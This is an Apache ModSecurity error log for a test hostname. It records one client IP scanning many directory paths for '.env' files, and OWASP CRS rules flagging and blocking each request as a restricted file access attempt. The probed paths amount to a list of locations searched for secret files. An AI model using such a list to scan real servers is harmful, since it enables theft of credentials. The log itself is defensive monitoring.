[Mon Jul 28 20:46:10.282141 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoAAAAAA&quot;]
[Mon Jul 28 20:46:10.302139 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fisdom/fisdom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoQAAAAA&quot;]
[Mon Jul 28 20:46:10.302309 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoQAAAAA&quot;]
[Mon Jul 28 20:46:10.302480 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoQAAAAA&quot;]
[Mon Jul 28 20:46:10.323101 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/blocks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IogAAAAA&quot;]
[Mon Jul 28 20:46:10.323266 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IogAAAAA&quot;]
[Mon Jul 28 20:46:10.323440 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IogAAAAA&quot;]
[Mon Jul 28 20:46:10.343838 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/fiber-debugger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IowAAAAA&quot;]
[Mon Jul 28 20:46:10.344046 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IowAAAAA&quot;]
[Mon Jul 28 20:46:10.344241 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IowAAAAA&quot;]
[Mon Jul 28 20:46:10.364346 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/flight/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpAAAAAA&quot;]
[Mon Jul 28 20:46:10.364564 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpAAAAAA&quot;]
[Mon Jul 28 20:46:10.364739 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpAAAAAA&quot;]
[Mon Jul 28 20:46:10.384759 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/kitchensink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpQAAAAA&quot;]
[Mon Jul 28 20:46:10.384937 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpQAAAAA&quot;]
[Mon Jul 28 20:46:10.385090 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpQAAAAA&quot;]
[Mon Jul 28 20:46:10.405031 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpgAAAAA&quot;]
[Mon Jul 28 20:46:10.405207 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpgAAAAA&quot;]
[Mon Jul 28 20:46:10.405359 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpgAAAAA&quot;]
[Mon Jul 28 20:46:10.434410 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask_test_uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpwAAAAA&quot;]
[Mon Jul 28 20:46:10.434640 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpwAAAAA&quot;]
[Mon Jul 28 20:46:10.434798 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IpwAAAAA&quot;]
[Mon Jul 28 20:46:10.454941 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqAAAAAA&quot;]
[Mon Jul 28 20:46:10.455114 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqAAAAAA&quot;]
[Mon Jul 28 20:46:10.455264 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqAAAAAA&quot;]
[Mon Jul 28 20:46:10.475492 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /font-icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqQAAAAA&quot;]
[Mon Jul 28 20:46:10.475747 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqQAAAAA&quot;]
[Mon Jul 28 20:46:10.475967 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqQAAAAA&quot;]
[Mon Jul 28 20:46:10.496102 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fonts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqgAAAAA&quot;]
[Mon Jul 28 20:46:10.496396 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqgAAAAA&quot;]
[Mon Jul 28 20:46:10.496620 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqgAAAAA&quot;]
[Mon Jul 28 20:46:10.516855 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /framework/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqwAAAAA&quot;]
[Mon Jul 28 20:46:10.517130 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqwAAAAA&quot;]
